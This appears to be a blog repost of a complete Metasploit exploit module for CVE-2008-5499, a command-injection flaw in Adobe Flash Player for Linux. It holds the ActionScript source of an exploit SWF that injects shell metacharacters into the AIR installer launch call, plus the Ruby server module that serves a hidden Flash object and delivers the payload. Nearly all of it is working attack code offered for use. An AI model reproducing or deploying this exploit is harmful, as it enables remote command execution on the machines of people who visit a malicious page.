0a29: CVE-2008-5499 : modules/exploits/linux/browser/adobe_flashplayer

<code>

/*
Compile: mtasc -version 8 -swf Exploit.swf -main -header 800:600:20 Exploit.as
Author:  0a29406d9794e4f9b30b3c5d6702c708 / Unknown / metasploit
PoC:  http://downloads.securityfocus.com/vulnerabilities/exploits/32896.as
*/

import flash.external.ExternalInterface;

class Exploit {

 public function randname(newLength:Number):String{
  var a:String = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
  var alphabet:Array = a.split("");
  var randomLetter:String = "";

  for (var i:Number = 0; i < newLength; i++){
   randomLetter += alphabet[Math.floor(Math.random() * alphabet.length)];
  }

  return randomLetter;
 }

 public function exploit() {
  var path:String = ExternalInterface.call("window.location.href.toString") + randname(6) + ".txt";
  var loadVars:LoadVars = new LoadVars();

  loadVars.onData = function(str:String):Void {
   if (str) {
    if (_global.ASnative(2201, 1)("airappinstaller")) {
     _global.ASnative(2201, 2)("airappinstaller", "; " + str);
    }
   } else {
    // FAIL
   }
  }
  loadVars.load(path);
 }

 public function Exploit() {
  exploit();
 }

 static function main() {
  var ex : Exploit;
  ex = new Exploit();
 }
}

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Adobe Flash Player ActionScript Launch Command Execution Vulnerability',
   'Description'    => %q{
     This module exploits a vulnerability in Adobe Flash Player for Linux,
     version  10.0.12.36 and 9.0.151.0 and prior.
     An input validation vulnerability allows command execution when the browser
     loads a SWF file which contains shell metacharacters in the arguments to
     the ActionScript launch method.

     The victim must have Adobe AIR installed for the exploit to work. This module
     was tested against version 10.0.12.36 (10r12_36).
    },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     '0a29406d9794e4f9b30b3c5d6702c708', # Metasploit version
    ],
   'References'     =>
    [
     ['CVE', '2008-5499'],
     ['OSVDB', '50796'],
     ['URL', 'http://www.adobe.com/support/security/bulletins/apsb08-24.html'],
     ['URL', 'http://www.securityfocus.com/bid/32896/exploit']
    ],
   'DefaultOptions' =>
    {
     'HTTP::compression' => 'gzip',
     'HTTP::chunked'     => true
    },
   'Platform'       => 'unix', # so unix cmd exec payloads are ok
   'Arch'           => ARCH_CMD,
   'Targets'        =>
    [
     [ 'Automatic', {}],
    ],
   'DisclosureDate' => 'Dec 17 2008',
   'DefaultTarget'  => 0))

 end

 def exploit
  path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2008-5499.swf" )
  fd = File.open( path, "rb" )
  @swf = fd.read(fd.stat.size)
  fd.close

  super
 end

 def on_request_uri(cli, request)
  msg = "#{cli.peerhost.ljust(16)} #{self.shortname}"
  trigger = @swf
  trigger_file = rand_text_alpha(rand(6)+3) + ".swf"

  obj_id = rand_text_alpha(rand(6)+3)

  if request.uri.match(/\.swf/i)
   print_status("#{msg} Sending Exploit SWF")
   send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
   return
  end

  if request.uri.match(/\.txt/i)
   send_response(cli, payload.encoded, { 'Content-Type' => 'text/plain' })
   return
  end

  html =  <<-EOS
  <html>
   <head>
   </head>
   <body>
   <center>
   <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="#{obj_id}" width="1" height="1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
    <param name="movie" value="#{get_resource}#{trigger_file}" />
    <embed src="#{get_resource}#{trigger_file}" quality="high" width="1" height="1" name="#{obj_id}" align="middle" allowNetworking="all"
     type="application/x-shockwave-flash"
     pluginspage="http://www.macromedia.com/go/getflashplayer">
    </embed>

   </object>
  </center>

  </body>
  </html>
  EOS

  print_status("#{msg} Sending HTML...")
  send_response(cli, html, { 'Content-Type' => 'text/html' })
 end
end

</code>

0a29

Wednesday 16 May 2012

CVE-2008-5499 : modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb

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